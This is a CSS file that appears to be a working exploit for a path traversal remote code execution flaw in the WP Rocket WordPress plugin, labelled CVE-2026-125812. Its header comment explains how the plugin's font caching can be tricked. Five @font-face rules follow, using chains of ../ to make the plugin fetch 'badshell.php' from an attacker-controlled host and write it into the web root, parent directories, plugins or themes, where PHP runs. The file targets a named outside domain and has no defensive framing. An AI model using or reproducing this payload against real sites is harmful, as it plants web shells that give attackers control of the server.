/*
 * CVE-2026-125812 — WP Rocket Path Traversal RCE  @badrole303
 *
 * fonts_basepath = {ABSPATH}/wp-content/cache/wp-rocket/fonts/{id}/google-fonts/fonts/
 * Traversal count from last fonts/ dir:
 *   7x ../ = {ABSPATH}/                  (standard root install)
 *   8x ../ = parent of ABSPATH           (WP in /wordpress/ subdir)
 *   9x ../ = grandparent                 (deeper nested installs)
 *   6x ../ + plugins/ = wp-content/plugins/   (PHP always on)
 *   6x ../ + themes/  = wp-content/themes/    (PHP always on)
 *
 * cURL normalizes ../ before fetch -> always hits payloadclauderocket.pages.dev/<path>
 * wp_parse_url preserves ../ in path -> local write resolves via PHP path traversal
 */

/* [1] ABSPATH root — standard install */
@font-face {
    font-family: 'WprD7';
    src: url(https://oxplomachinery.com/wp-content/cache/fonts/1/google-fonts/fonts/../../../../../../../badshell.php) format('woff2');
    font-weight: 400;
    font-style: normal;
}

/* [2] parent of ABSPATH — WP installed in /wordpress/ or /wp/ subdirectory */
@font-face {
    font-family: 'WprD8';
    src: url(https://oxplomachinery.com/wp-content/cache/fonts/1/google-fonts/fonts/../../../../../../../../badshell.php) format('woff2');
    font-weight: 400;
    font-style: normal;
}

/* [3] grandparent — WP nested 2 levels deep */
@font-face {
    font-family: 'WprD9';
    src: url(https://oxplomachinery.com/wp-content/cache/fonts/1/google-fonts/fonts/../../../../../../../../../badshell.php) format('woff2');
    font-weight: 400;
    font-style: normal;
}

/* [4] wp-content/plugins/ — PHP execution always allowed */
@font-face {
    font-family: 'WprPlugins';
    src: url(https://oxplomachinery.com/wp-content/cache/fonts/1/google-fonts/fonts/../../../../../../plugins/badshell.php) format('woff2');
    font-weight: 400;
    font-style: normal;
}

/* [5] wp-content/themes/ — PHP execution always allowed */
@font-face {
    font-family: 'WprThemes';
    src: url(https://oxplomachinery.com/wp-content/cache/fonts/1/google-fonts/fonts/../../../../../../themes/badshell.php) format('woff2');
    font-weight: 400;
    font-style: normal;
}
